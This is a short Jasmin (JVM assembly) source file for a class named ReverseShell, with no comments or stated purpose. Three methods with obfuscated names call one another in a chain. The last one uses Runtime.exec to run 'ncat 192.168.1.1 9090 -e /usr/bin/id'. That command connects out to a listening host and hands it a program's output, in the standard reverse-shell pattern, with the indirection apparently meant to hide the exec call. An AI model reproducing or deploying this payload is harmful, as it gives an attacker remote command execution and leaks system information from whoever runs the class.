ReverseShell.j

.class public ReverseShell
.super java/lang/Object

.method public static obf(Ljava/lang/String;)Ljava/lang/String;
    .limit locals 4
    .limit stack 8
    ldc "hello world"
    invokestatic ReverseShell/obf3(Ljava/lang/String;)Ljava/lang/String;
    areturn
.end method

.method public static obf3(Ljava/lang/String;)Ljava/lang/String;
    .limit locals 4
    .limit stack 8
    ldc "hello world"
    invokestatic ReverseShell/obf2(Ljava/lang/String;)Ljava/lang/String;
    areturn
.end method

.method public static obf2(Ljava/lang/String;)Ljava/lang/String;
    .limit locals 1
    .limit stack 8
    invokestatic java/lang/Runtime/getRuntime()Ljava/lang/Runtime;
    ldc "ncat 192.168.1.1 9090 -e /usr/bin/id"
    invokevirtual java/lang/Runtime/exec(Ljava/lang/String;)Ljava/lang/Process;
    ldc "test"
    areturn
.end method